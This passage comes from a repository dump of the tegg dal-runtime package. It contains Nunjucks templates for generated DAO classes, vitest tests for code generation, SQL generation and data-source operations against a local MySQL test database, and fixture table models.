idx, true) }}\n  {% endfor %}\n\n  // empty-line\n  {# 某个索引 #}\n  {% if primaryIndex %}\n    {% set tmpName = ((primaryIndex.keys[0].propertyName if (primaryIndex.keys | length) === 1 else primaryIndex.name) | pascalCase) %}\n    {% set findName = 'findBy' + tmpName %}\n    {% set findOneName = 'findOneBy' + tmpName %}\n      {{ findLogic(findName, findName, primaryIndex, true) }}\n      {% if (primaryIndex.keys | length) === 1 %}\n      // empty-line\n      {{ findLogic('findByPrimary', findName, primaryIndex, true) }}\n      {% endif %}\n  {% endif %}\n}\n// empty-line\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/templates/dao.njk",
    "content": "import { SingletonProto, AccessLevel } from '{{teggPkg}}';\nimport { Base{{ clazzName }}DAO } from './base/Base{{ clazzName }}DAO.ts';\n// empty-line\n/**\n * {{ clazzName }}DAO 类\n{% if user.name %} * @author {{ user.name }} {% if user.email %}<{{ user.email }}>{% endif %}\n{% endif %} * @class {{ clazzName }}DAO\n * @classdesc 在此扩展关于 {{ clazzName }} 数据的一切操作\n * @extends Base{{ clazzName }}DAO\n */\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class {{ clazzName }}DAO extends Base{{ clazzName }}DAO {\n  // empty-line\n}\n// empty-line\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/templates/extension.njk",
    "content": "import { SqlMap } from '{{dalPkg}}';\n// empty-line\n/**\n * Define Custom SQLs\n *\n * import { SqlMap, SqlType } from '{{dalPkg}}';\n *\n * export default {\n *   findByName: {\n *     type: SqlType.SELECT,\n *     sql: 'SELECT {{ allColumns }} from foo where name = {{ name }}'\n *   },\n * }\n */\nexport default {\n// empty-line\n} as Record<string, SqlMap>;\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/CodeGenerator.test.ts",
    "content": "import assert from 'node:assert';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { TableModel } from '@eggjs/dal-decorator';\nimport { describe, it } from 'vitest';\n\nimport { CodeGenerator } from '../src/CodeGenerator.js';\nimport { Foo } from './fixtures/modules/generate_codes/Foo.js';\nimport { MultiPrimaryKey } from './fixtures/modules/generate_codes/MultiPrimaryKey.js';\n\ndescribe('test/CodeGenerator.test.ts', () => {\n  it('BaseDao should work', async () => {\n    const generator = new CodeGenerator({\n      moduleDir: path.join(__dirname, './fixtures/modules/generate_codes'),\n      moduleName: 'dal',\n      dalPkg: '@eggjs/dal-decorator',\n    });\n    const fooModel = TableModel.build(Foo);\n    await generator.generate(fooModel);\n\n    const multiPrimaryKeyTableModel = TableModel.build(MultiPrimaryKey);\n    await generator.generate(multiPrimaryKeyTableModel);\n    assert(fooModel);\n  });\n\n  it('should not overwrite Dao file', async () => {\n    const generator = new CodeGenerator({\n      moduleDir: path.join(__dirname, './fixtures/modules/generate_codes_not_overwrite_dao'),\n      moduleName: 'dal',\n      dalPkg: '@eggjs/dal-decorator',\n    });\n    const fooModel = TableModel.build(Foo);\n    await generator.generate(fooModel);\n\n    const multiPrimaryKeyTableModel = TableModel.build(MultiPrimaryKey);\n    await generator.generate(multiPrimaryKeyTableModel);\n    const daoFile = await fs.readFile(\n      path.join(__dirname, './fixtures/modules/generate_codes_not_overwrite_dao/dal/dao/FooDAO.ts'),\n      'utf8',\n    );\n    assert(/customFind/.test(daoFile));\n\n    const extensionFile = await fs.readFile(\n      path.join(__dirname, './fixtures/modules/generate_codes_not_overwrite_dao/dal/extension/FooExtension.ts'),\n      'utf8',\n    );\n    assert(/customFind/.test(extensionFile));\n  });\n\n  it('should generate to src first', async () => {\n    const generator = new CodeGenerator({\n      moduleDir: path.join(__dirname, './fixtures/modules/generate_codes_to_src'),\n      moduleName: 'dal',\n      dalPkg: '@eggjs/dal-decorator',\n    });\n    const fooModel = TableModel.build(Foo);\n    await generator.generate(fooModel);\n\n    const daoFile = await fs.readFile(\n      path.join(__dirname, './fixtures/modules/generate_codes_to_src/src/dal/dao/FooDAO.ts'),\n      'utf8',\n    );\n    assert(daoFile);\n  });\n});\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/DAO.test.ts",
    "content": "import assert from 'node:assert';\nimport path from 'node:path';\n\nimport { TableModel } from '@eggjs/dal-decorator';\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { MysqlDataSource, SqlMapLoader, DataSource, DatabaseForker } from '../src/index.ts';\nimport { BaseFooDAO } from './fixtures/modules/dal/dal/dao/base/BaseFooDAO.ts';\nimport FooDAO from './fixtures/modules/dal/dal/dao/FooDAO.ts';\nimport { Foo } from './fixtures/modules/dal/Foo.ts';\n\ndescribe('test/DAO.test.ts', () => {\n  let dataSource: DataSource<Foo>;\n  let tableModel: TableModel<Foo>;\n  let forker: DatabaseForker;\n\n  beforeAll(async () => {\n    const mysqlOptions = {\n      name: 'foo',\n      host: '127.0.0.1',\n      user: 'root',\n      database: 'test_runtime_dao',\n      timezone: '+08:00',\n      initSql: \"SET GLOBAL time_zone = '+08:00';\",\n      forkDb: true,\n    };\n    forker = new DatabaseForker('unittest', mysqlOptions);\n    await forker.forkDb(path.join(__dirname, './fixtures/modules/dal'));\n\n    const mysql = new MysqlDataSource(mysqlOptions);\n    await mysql.ready();\n\n    tableModel = TableModel.build(Foo);\n    const sqlMapLoader = new SqlMapLoader(tableModel, BaseFooDAO, console as any);\n    const sqlMap = sqlMapLoader.load();\n    dataSource = new DataSource(tableModel, mysql, sqlMap);\n  });\n\n  afterAll(async () => {\n    await forker.destroy();\n  });\n\n  it('execute should work', async () => {\n    const uniqueId = `${Date.now()}_${Math.random().toString(36).slice(2, 8)}`;\n    const foo = new Foo();\n    foo.name = `name_${uniqueId}`;\n    foo.col1 = 'col1';\n    foo.bitColumn = Buffer.from([0, 0]);\n    foo.boolColumn = 0;\n    foo.tinyIntColumn = 0;\n    foo.smallIntColumn = 1;\n    foo.mediumIntColumn = 3;\n    foo.intColumn = 3;\n    foo.bigIntColumn = '00099';\n    foo.decimalColumn = '00002.33333';\n    foo.floatColumn = 2.3;\n    foo.doubleColumn = 2.3;\n    foo.dateColumn = new Date('2024-03-16T16:00:00.000Z');\n    foo.dateTimeColumn = new Date('2024-03-16T01:26:58.677Z');\n    foo.timestampColumn = new Date('2024-03-16T01:26:58.677Z');\n    foo.timeColumn = '838:59:50.123';\n    foo.yearColumn = 2024;\n    foo.varCharColumn = 'var_char';\n    foo.binaryColumn = Buffer.from('b');\n    foo.varBinaryColumn = Buffer.from('var_binary');\n    foo.tinyBlobColumn = Buffer.from('tiny_blob');\n    foo.tinyTextColumn = 'text';\n    foo.blobColumn = Buffer.from('blob');\n    foo.textColumn = 'text';\n    foo.mediumBlobColumn = Buffer.from('medium_blob');\n    foo.longBlobColumn = Buffer.from('long_blob');\n    foo.mediumTextColumn = 'medium_text';\n    foo.longTextColumn = 'long_text';\n    foo.enumColumn = 'A';\n    foo.setColumn = 'B';\n    foo.geometryColumn = { x: 10, y: 10 };\n    foo.pointColumn = { x: 10, y: 10 };\n    foo.lineStringColumn = [\n      { x: 15, y: 15 },\n      { x: 20, y: 20 },\n    ];\n    foo.polygonColumn = [\n      [\n        { x: 0, y: 0 },\n        { x: 10, y: 0 },\n        { x: 10, y: 10 },\n        { x: 0, y: 10 },\n        { x: 0, y: 0 },\n      ],\n      [\n        { x: 5, y: 5 },\n        { x: 7, y: 5 },\n        { x: 7, y: 7 },\n        { x: 5, y: 7 },\n        { x: 5, y: 5 },\n      ],\n    ];\n    foo.multipointColumn = [\n      { x: 0, y: 0 },\n      { x: 20, y: 20 },\n      { x: 60, y: 60 },\n    ];\n    foo.multiLineStringColumn = [\n      [\n        { x: 10, y: 10 },\n        { x: 20, y: 20 },\n      ],\n      [\n        { x: 15, y: 15 },\n        { x: 30, y: 15 },\n      ],\n    ];\n    foo.multiPolygonColumn = [\n      [\n        [\n          { x: 0, y: 0 },\n          { x: 10, y: 0 },\n          { x: 10, y: 10 },\n          { x: 0, y: 10 },\n          { x: 0, y: 0 },\n        ],\n      ],\n      [\n        [\n          { x: 5, y: 5 },\n          { x: 7, y: 5 },\n          { x: 7, y: 7 },\n          { x: 5, y: 7 },\n          { x: 5, y: 5 },\n        ],\n      ],\n    ];\n    foo.geometryCollectionColumn = [\n      { x: 10, y: 10 },\n      { x: 30, y: 30 },\n      [\n        { x: 15, y: 15 },\n        { x: 20, y: 20 },\n      ],\n    ];\n    foo.jsonColumn = {\n      hello: 'json',\n    };\n\n    const fooDao = new FooDAO();\n    (fooDao as any).dataSource = dataSource;\n\n    const insertResult = await fooDao.insert(foo);\n    assert(insertResult);\n    foo.id = insertResult.insertId;\n\n    const updateResult = await fooDao.update(foo.id, {\n      name: `update_name_${uniqueId}`,\n    });\n    assert(updateResult);\n    assert.equal(updateResult.affectedRows, 1);\n\n    foo.name = `update_name_${uniqueId}`;\n\n    const fooRow = await fooDao.findByPrimary(foo.id);\n    assert.deepStrictEqual(fooRow, foo);\n\n    const fooRows = await fooDao.findByCol1(foo.col1);\n    assert.equal(fooRows.length, 1);\n\n    assert.deepStrictEqual(fooRows[0], foo);\n\n    await fooDao.delete(foo.id);\n\n    const fooRow2 = await fooDao.findByPrimary(foo.id);\n    assert.equal(fooRow2, null);\n  });\n});\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/DataSource.test.ts",
    "content": "import assert from 'node:assert';\nimport path from 'node:path';\nimport { mock } from 'node:test';\n\nimport { TableModel } from '@eggjs/dal-decorator';\nimport { RDSClient } from '@eggjs/rds';\nimport type { DeleteResult, InsertResult, UpdateResult } from '@eggjs/rds';\nimport { describe, it, afterEach, beforeAll, afterAll } from 'vitest';\n\nimport { MysqlDataSource, SqlMapLoader, DataSource, TableModelInstanceBuilder, DatabaseForker } from '../src/index.ts';\nimport { BaseFooDAO } from './fixtures/modules/dal/dal/dao/base/BaseFooDAO.ts';\nimport { Foo } from './fixtures/modules/dal/Foo.ts';\n\ndescribe('test/Datasource.test.ts', () => {\n  const mysqlOptions = {\n    name: 'foo',\n    host: '127.0.0.1',\n    user: 'root',\n    database: 'test_runtime_datasource',\n    timezone: '+08:00',\n    initSql: \"SET GLOBAL time_zone = '+08:00';\",\n    forkDb: true,\n  };\n\n  afterEach(() => {\n    mock.reset();\n  });\n\n  describe('init', () => {\n    it('init failed should throw error', async () => {\n      const tracker = mock.method(RDSClient.prototype, 'query', async () => {\n        throw new Error('fake error');\n      });\n\n      const mysql = new MysqlDataSource(mysqlOptions);\n      await assert.rejects(mysql.ready(), /fake error/);\n      // DEFAULT_RETRY_TIMES is 3, so query is called 3 times before giving up\n      assert.equal(tracker.mock.callCount(), 3);\n    });\n\n    it('init should retry', async () => {\n      let i = 0;\n      const tracker = mock.method(RDSClient.prototype, 'query', () => {\n        throw new Error(`fake error ${++i}`);\n      });\n      const mysql = new MysqlDataSource({ ...mysqlOptions, initRetryTimes: 3 });\n      await assert.rejects(mysql.ready(), /fake error 3/);\n      assert.strictEqual(tracker.mock.callCount(), 3);\n    });\n\n    it('should success after retry', async () => {\n      let i = 0;\n      const tracker = mock.method(RDSClient.prototype, 'query', async () => {\n        if (i === 0) {\n          i++;\n          throw new Error('fake error');\n        }\n      });\n      const mysql = new MysqlDataSource({ ...mysqlOptions, initRetryTimes: 2 });\n      await assert.doesNotReject(mysql.ready());\n      assert.strictEqual(tracker.mock.callCount(), 2);\n    });\n  });\n\n  describe('execute', () => {\n    let dataSource: DataSource<Foo>;\n    let tableModel: TableModel<Foo>;\n    let forker: DatabaseForker;\n\n    beforeAll(async () => {\n      forker = new DatabaseForker('unittest', mysqlOptions);\n      await forker.forkDb(path.join(__dirname, './fixtures/modules/dal'));\n      const mysql = new MysqlDataSource(mysqlOptions);\n      await mysql.ready();\n\n      tableModel = TableModel.build(Foo);\n      const sqlMapLoader = new SqlMapLoader(tableModel, BaseFooDAO, console as any);\n      const sqlMap = sqlMapLoader.load();\n      dataSource = new DataSource(tableModel, mysql, sqlMap);\n    });\n\n    afterAll(async () => {\n      await forker.destroy();\n    });\n\n    it('execute should work', async () => {\n      const uniqueId = `${Date.now()}_${Math.random().toString(36).slice(2, 8)}`;\n      const foo = new Foo();\n      foo.name = `name_${uniqueId}`;\n      foo.col1 = 'col1';\n      foo.bitColumn = Buffer.from([0, 0]);\n      foo.boolColumn = 0;\n      foo.tinyIntColumn = 0;\n      foo.smallIntColumn = 1;\n      foo.mediumIntColumn = 3;\n      foo.intColumn = 3;\n      foo.bigIntColumn = '00099';\n      foo.decimalColumn = '00002.33333';\n      foo.floatColumn = 2.3;\n      foo.doubleColumn = 2.3;\n      foo.dateColumn = new Date('2024-03-16T16:00:00.000Z');\n      foo.dateTimeColumn = new Date('2024-03-16T01:26:58.677Z');\n      foo.timestampColumn = new Date('2024-03-16T01:26:58.677Z');\n      foo.timeColumn = '838:59:50.123';\n      foo.yearColumn = 2024;\n      foo.varCharColumn = 'var_char';\n      foo.binaryColumn = Buffer.from('b');\n      foo.varBinaryColumn = Buffer.from('var_binary');\n      foo.tinyBlobColumn = Buffer.from('tiny_blob');\n      foo.tinyTextColumn = 'text';\n      foo.blobColumn = Buffer.from('blob');\n      foo.textColumn = 'text';\n      foo.mediumBlobColumn = Buffer.from('medium_blob');\n      foo.longBlobColumn = Buffer.from('long_blob');\n      foo.mediumTextColumn = 'medium_text';\n      foo.longTextColumn = 'long_text';\n      foo.enumColumn = 'A';\n      foo.setColumn = 'B';\n      foo.geometryColumn = { x: 10, y: 10 };\n      foo.pointColumn = { x: 10, y: 10 };\n      foo.lineStringColumn = [\n        { x: 15, y: 15 },\n        { x: 20, y: 20 },\n      ];\n      foo.polygonColumn = [\n        [\n          { x: 0, y: 0 },\n          { x: 10, y: 0 },\n          { x: 10, y: 10 },\n          { x: 0, y: 10 },\n          { x: 0, y: 0 },\n        ],\n        [\n          { x: 5, y: 5 },\n          { x: 7, y: 5 },\n          { x: 7, y: 7 },\n          { x: 5, y: 7 },\n          { x: 5, y: 5 },\n        ],\n      ];\n      foo.multipointColumn = [\n        { x: 0, y: 0 },\n        { x: 20, y: 20 },\n        { x: 60, y: 60 },\n      ];\n      foo.multiLineStringColumn = [\n        [\n          { x: 10, y: 10 },\n          { x: 20, y: 20 },\n        ],\n        [\n          { x: 15, y: 15 },\n          { x: 30, y: 15 },\n        ],\n      ];\n      foo.multiPolygonColumn = [\n        [\n          [\n            { x: 0, y: 0 },\n            { x: 10, y: 0 },\n            { x: 10, y: 10 },\n            { x: 0, y: 10 },\n            { x: 0, y: 0 },\n          ],\n        ],\n        [\n          [\n            { x: 5, y: 5 },\n            { x: 7, y: 5 },\n            { x: 7, y: 7 },\n            { x: 5, y: 7 },\n            { x: 5, y: 5 },\n          ],\n        ],\n      ];\n      foo.geometryCollectionColumn = [\n        { x: 10, y: 10 },\n        { x: 30, y: 30 },\n        [\n          { x: 15, y: 15 },\n          { x: 20, y: 20 },\n        ],\n      ];\n      foo.jsonColumn = {\n        hello: 'json',\n      };\n      const rowValue = TableModelInstanceBuilder.buildRow(foo, tableModel);\n      const insertResult: InsertResult = await dataSource.executeRawScalar('insert', rowValue);\n      assert(insertResult.insertId);\n      foo.id = insertResult.insertId;\n\n      const updateResult: UpdateResult = await dataSource.executeRawScalar('update', {\n        primary: {\n          id: insertResult.insertId,\n        },\n        $name: `update_name_${uniqueId}`,\n      });\n      assert.equal(updateResult.affectedRows, 1);\n      foo.name = `update_name_${uniqueId}`;\n\n      const findRow = await dataSource.executeScalar('findByPrimary', {\n        $id: insertResult.insertId,\n      });\n      assert(findRow);\n      assert.deepStrictEqual(findRow, foo);\n\n      const deleteRow: DeleteResult = await dataSource.executeRawScalar('delete', {\n        id: insertResult.insertId,\n      });\n      assert.equal(deleteRow.affectedRows, 1);\n\n      const findRow2 = await dataSource.executeScalar('findByPrimary', {\n        $id: insertResult.insertId,\n      });\n      assert.equal(findRow2, null);\n\n      const res = await dataSource.paginate('findByPrimary', {}, 1, 10);\n      assert(res.total === 0);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/SqlGenerator.test.ts",
    "content": "import assert from 'node:assert';\n\nimport { TableModel } from '@eggjs/dal-decorator';\nimport { describe, it } from 'vitest';\n\nimport { SqlGenerator } from '../src/index.ts';\nimport { AutoUpdateTime } from './fixtures/modules/dal/AutoUpdateTime.js';\nimport { Foo } from './fixtures/modules/dal/Foo.js';\nimport { FooIndexName } from './fixtures/modules/dal/FooIndexName.js';\n\ndescribe('test/SqlGenerator.test.ts', () => {\n  it('generator should work', () => {\n    const generator = new SqlGenerator();\n    const fooModel = TableModel.build(Foo);\n    const sql = generator.generate(fooModel);\n    assert.equal(\n      sql,\n      'CREATE TABLE IF NOT EXISTS egg_foo (\\n' +\n        \"  id INT NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT 'the primary key',\\n\" +\n        '  name VARCHAR(100) NOT NULL UNIQUE KEY,\\n' +\n        '  col1 VARCHAR(100) NOT NULL,\\n' +\n        '  bit_column BIT(10) NOT NULL,\\n' +\n        '  bool_column BOOL NOT NULL,\\n' +\n        '  tiny_int_column TINYINT(5) UNSIGNED ZEROFILL NOT NULL,\\n' +\n        '  small_int_column SMALLINT(5) UNSIGNED ZEROFILL NOT NULL,\\n' +\n        '  medium_int_column MEDIUMINT(5) UNSIGNED ZEROFILL NOT NULL,\\n' +\n        '  int_column INT(5) UNSIGNED ZEROFILL NOT NULL,\\n' +\n        '  big_int_column BIGINT(5) UNSIGNED ZEROFILL NOT NULL,\\n' +\n        '  decimal_column DECIMAL(10,5) UNSIGNED ZEROFILL NOT NULL,\\n' +\n        '  float_column FLOAT(10,5) UNSIGNED ZEROFILL NOT NULL,\\n' +\n        '  double_column DOUBLE(10,5) UNSIGNED ZEROFILL NOT NULL,\\n' +\n        '  date_column DATE NOT NULL,\\n' +\n        '  date_time_column DATETIME(3) NOT NULL,\\n' +\n        '  timestamp_column TIMESTAMP(3) NULL,\\n' +\n        '  time_column TIME(3) NOT NULL,\\n' +\n        '  year_column YEAR NOT NULL,\\n' +\n        '  var_char_column VARCHAR(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,\\n' +\n        '  binary_column BINARY NOT NULL,\\n' +\n        '  var_binary_column VARBINARY(100) NOT NULL,\\n' +\n        '  tiny_blob_column TINYBLOB NOT NULL,\\n' +\n        '  tiny_text_column TINYTEXT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,\\n' +\n        '  blob_column BLOB(100) NOT NULL,\\n' +\n        '  text_column TEXT(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,\\n' +\n        '  medium_blob_column MEDIUMBLOB NOT NULL,\\n' +\n        '  long_blob_column LONGBLOB NOT NULL,\\n' +\n        '  medium_text_column MEDIUMTEXT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,\\n' +\n        '  long_text_column LONGTEXT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,\\n' +\n        \"  enum_column ENUM('A','B') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,\\n\" +\n        \"  set_column SET('A','B') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,\\n\" +\n        '  geometry_column GEOMETRY NOT NULL,\\n' +\n        '  point_column POINT NOT NULL,\\n' +\n        '  line_string_column LINESTRING NOT NULL,\\n' +\n        '  polygon_column POLYGON NOT NULL,\\n' +\n        '  multipoint_column MULTIPOINT NOT NULL,\\n' +\n        '  multi_line_string_column MULTILINESTRING NOT NULL,\\n' +\n        '  multi_polygon_column MULTIPOLYGON NOT NULL,\\n' +\n        '  geometry_collection_column GEOMETRYCOLLECTION NOT NULL,\\n' +\n        '  json_column JSON NOT NULL,\\n' +\n        \"  FULLTEXT KEY idx_col1 (col1) COMMENT 'index comment\\\\n',\\n\" +\n        \"  UNIQUE KEY uk_name_col1 (name,col1) USING BTREE COMMENT 'index comment\\\\n'\\n\" +\n        \") DEFAULT CHARACTER SET utf8mb4, DEFAULT COLLATE utf8mb4_unicode_ci, COMMENT='foo table';\",\n    );\n  });\n\n  it('generator auto update should work', () => {\n    const generator = new SqlGenerator();\n    const autoUpdateTimeTableModel = TableModel.build(AutoUpdateTime);\n    const sql = generator.generate(autoUpdateTimeTableModel);\n    assert.equal(\n      sql,\n      'CREATE TABLE IF NOT EXISTS auto_update_times (\\n' +\n        \"  id INT NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT 'the primary key',\\n\" +\n        '  date DATETIME ON UPDATE CURRENT_TIMESTAMP NOT NULL UNIQUE KEY,\\n' +\n        '  date_2 DATETIME(3) ON UPDATE CURRENT_TIMESTAMP(3) NOT NULL UNIQUE KEY,\\n' +\n        '  date_3 TIMESTAMP ON UPDATE CURRENT_TIMESTAMP NOT NULL UNIQUE KEY,\\n' +\n        '  date_4 TIMESTAMP(3) ON UPDATE CURRENT_TIMESTAMP(3) NOT NULL UNIQUE KEY\\n' +\n        ') ;',\n    );\n  });\n\n  it('generator index name should work', () => {\n    const generator = new SqlGenerator();\n    const fooIndexNameTableModel = TableModel.build(FooIndexName);\n    const sql = generator.generate(fooIndexNameTableModel);\n    assert.equal(\n      sql,\n      'CREATE TABLE IF NOT EXISTS egg_foo (\\n' +\n        \"  id INT NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT 'the primary key',\\n\" +\n        '  name VARCHAR(100) NOT NULL UNIQUE KEY,\\n' +\n        '  col1 VARCHAR(100) NOT NULL,\\n' +\n        '  bit_column BIT(10) NOT NULL,\\n' +\n        '  bool_column BOOL NOT NULL,\\n' +\n        \"  FULLTEXT KEY idx_col1_bool_column (col1,bool_column) COMMENT 'index comment\\\\n',\\n\" +\n        \"  UNIQUE KEY uk_name_col1_bit_column (name,col1,bit_column) USING BTREE COMMENT 'index comment\\\\n'\\n\" +\n        \") DEFAULT CHARACTER SET utf8mb4, DEFAULT COLLATE utf8mb4_unicode_ci, COMMENT='foo table';\",\n    );\n  });\n});\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/TableSqlMap.test.ts",
    "content": "import assert from 'node:assert';\n\nimport { TableModel } from '@eggjs/dal-decorator';\nimport { describe, it } from 'vitest';\n\nimport { SqlMapLoader } from '../src/SqlMapLoader.ts';\nimport { BaseFooDAO } from './fixtures/modules/dal/dal/dao/base/BaseFooDAO.js';\nimport { Foo } from './fixtures/modules/dal/Foo.js';\n\ndescribe('test/TableSqlMap.test.ts', () => {\n  it('custom sql should work', () => {\n    // const generator = new SqlGenerator();\n    const fooModel = TableModel.build(Foo);\n    // const sql = generator.generate(fooModel);\n    const sqlMapLoader = new SqlMapLoader(fooModel, BaseFooDAO, console);\n    const tableSqlMap = sqlMapLoader.load();\n    const result = tableSqlMap.generate('findAll', {}, 'UTC');\n    assert.equal(\n      result.sql,\n      'SELECT `id`,`name`,`col1`,`bit_column`,`bool_column`,`tiny_int_column`,`small_int_column`,`medium_int_column`,`int_column`,`big_int_column`,`decimal_column`,`float_column`,`double_column`,`date_column`,`date_time_column`,`timestamp_column`,`time_column`,`year_column`,`var_char_column`,`binary_column`,`var_binary_column`,`tiny_blob_column`,`tiny_text_column`,`blob_column`,`text_column`,`medium_blob_column`,`long_blob_column`,`medium_text_column`,`long_text_column`,`enum_column`,`set_column`,`geometry_column`,`point_column`,`line_string_column`,`polygon_column`,`multipoint_column`,`multi_line_string_column`,`multi_polygon_column`,`geometry_collection_column`,`json_column` from egg_foo;',\n    );\n  });\n});\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"BaseSqlMapGenerator\": [Function],\n  \"CodeGenerator\": [Function],\n  \"DaoLoader\": [Function],\n  \"DataSource\": [Function],\n  \"DatabaseForker\": [Function],\n  \"MysqlDataSource\": [Function],\n  \"NunjucksConverter\": [Function],\n  \"NunjucksUtils\": [Function],\n  \"SqlGenerator\": [Function],\n  \"SqlMapLoader\": [Function],\n  \"SqlUtil\": [Function],\n  \"TableModelInstanceBuilder\": [Function],\n  \"TableSqlMap\": [Function],\n  \"TemplateUtil\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/fixtures/modules/dal/AutoUpdateTime.ts",
    "content": "import { Column, ColumnType, Table } from '@eggjs/dal-decorator';\n\n@Table()\nexport class AutoUpdateTime {\n  @Column(\n    {\n      type: ColumnType.INT,\n    },\n    {\n      primaryKey: true,\n      autoIncrement: true,\n      comment: 'the primary key',\n    },\n  )\n  id: number;\n\n  @Column(\n    {\n      type: ColumnType.DATETIME,\n      autoUpdate: true,\n    },\n    {\n      uniqueKey: true,\n    },\n  )\n  date: Date;\n\n  @Column(\n    {\n      type: ColumnType.DATETIME,\n      precision: 3,\n      autoUpdate: true,\n    },\n    {\n      uniqueKey: true,\n    },\n  )\n  date2: Date;\n\n  @Column(\n    {\n      type: ColumnType.TIMESTAMP,\n      autoUpdate: true,\n    },\n    {\n      uniqueKey: true,\n    },\n  )\n  date3: Date;\n\n  @Column(\n    {\n      type: ColumnType.TIMESTAMP,\n      precision: 3,\n      autoUpdate: true,\n    },\n    {\n      uniqueKey: true,\n    },\n  )\n  date4: Date;\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/fixtures/modules/dal/Foo.ts",
    "content": "import {\n  Column,\n  ColumnType,\n  Geometry,\n  GeometryCollection,\n  Index,\n  IndexStoreType,\n  IndexType,\n  Line,\n  MultiLine,\n  MultiPoint,\n  MultiPolygon,\n  Point,\n  Polygon,\n  Table,\n} from '@eggjs/dal-decorator';\n\n@Table({\n  name: 'egg_foo',\n  comment: 'foo table',\n  // autoExtendSize: 1024,\n  // autoIncrement: 100,\n  // avgRowLength: 1024,\n  characterSet: 'utf8mb4',\n  collate: 'utf8mb4_unicode_ci',\n  // compression: CompressionType.ZLIB,\n  // encryption: true,\n  // engine: 'NDB',\n  // engineAttribute: '{\"key\":\"value\"}',\n  // secondaryEngineAttribute: '{\"key2\":\"value2\"}',\n  // insertMethod: InsertMethod.FIRST,\n  // keyBlockSize: 1024,\n  // maxRows: 1000000,\n  // minRows: 100,\n  // rowFormat: RowFormat.COMPRESSED,\n})\n@Index({\n  keys: ['name', 'col1'],\n  type: IndexType.UNIQUE,\n  storeType: IndexStoreType.BTREE,\n  comment: 'index comment\\n',\n  // engineAttribute: '{\"key\":\"value\"}',\n  // secondaryEngineAttribute: '{\"key2\":\"value2\"}',\n})\n@Index({\n  keys: ['col1'],\n  type: IndexType.FULLTEXT,\n  comment: 'index comment\\n',\n  // engineAttribute: '{\"key\":\"value\"}',\n  // secondaryEngineAttribute: '{\"key2\":\"value2\"}',\n  // parser: 'foo',\n})\nexport class Foo {\n  @Column(\n    {\n      type: ColumnType.INT,\n    },\n    {\n      primaryKey: true,\n      autoIncrement: true,\n      comment: 'the primary key',\n    },\n  )\n  id: number;\n\n  @Column(\n    {\n      type: ColumnType.VARCHAR,\n      length: 100,\n    },\n    {\n      uniqueKey: true,\n    },\n  )\n  name: string;\n\n  @Column(\n    {\n      type: ColumnType.VARCHAR,\n      length: 100,\n    },\n    {\n      name: 'col1',\n    },\n  )\n  col1: string;\n\n  @Column({\n    type: ColumnType.BIT,\n    length: 10,\n  })\n  bitColumn: Buffer;\n\n  @Column({\n    type: ColumnType.BOOL,\n  })\n  boolColumn: 0 | 1;\n\n  @Column({\n    type: ColumnType.TINYINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  tinyIntColumn: number;\n\n  @Column({\n    type: ColumnType.SMALLINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  smallIntColumn: number;\n\n  @Column({\n    type: ColumnType.MEDIUMINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  mediumIntColumn: number;\n\n  @Column({\n    type: ColumnType.INT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  intColumn: number;\n\n  @Column({\n    type: ColumnType.BIGINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  bigIntColumn: string;\n\n  @Column({\n    type: ColumnType.DECIMAL,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  decimalColumn: string;\n\n  @Column({\n    type: ColumnType.FLOAT,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  floatColumn: number;\n\n  @Column({\n    type: ColumnType.DOUBLE,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  doubleColumn: number;\n\n  @Column({\n    type: ColumnType.DATE,\n  })\n  dateColumn: Date;\n\n  @Column({\n    type: ColumnType.DATETIME,\n    precision: 3,\n  })\n  dateTimeColumn: Date;\n\n  @Column(\n    {\n      type: ColumnType.TIMESTAMP,\n      precision: 3,\n    },\n    {\n      canNull: true,\n    },\n  )\n  timestampColumn: Date;\n\n  @Column({\n    type: ColumnType.TIME,\n    precision: 3,\n  })\n  timeColumn: string;\n\n  @Column({\n    type: ColumnType.YEAR,\n  })\n  yearColumn: number;\n\n  @Column({\n    type: ColumnType.VARCHAR,\n    length: 100,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  varCharColumn: string;\n\n  @Column({\n    type: ColumnType.BINARY,\n  })\n  binaryColumn: Buffer;\n\n  @Column({\n    type: ColumnType.VARBINARY,\n    length: 100,\n  })\n  varBinaryColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TINYBLOB,\n  })\n  tinyBlobColumn: Buffer;\n\n  @Column({\n    type: 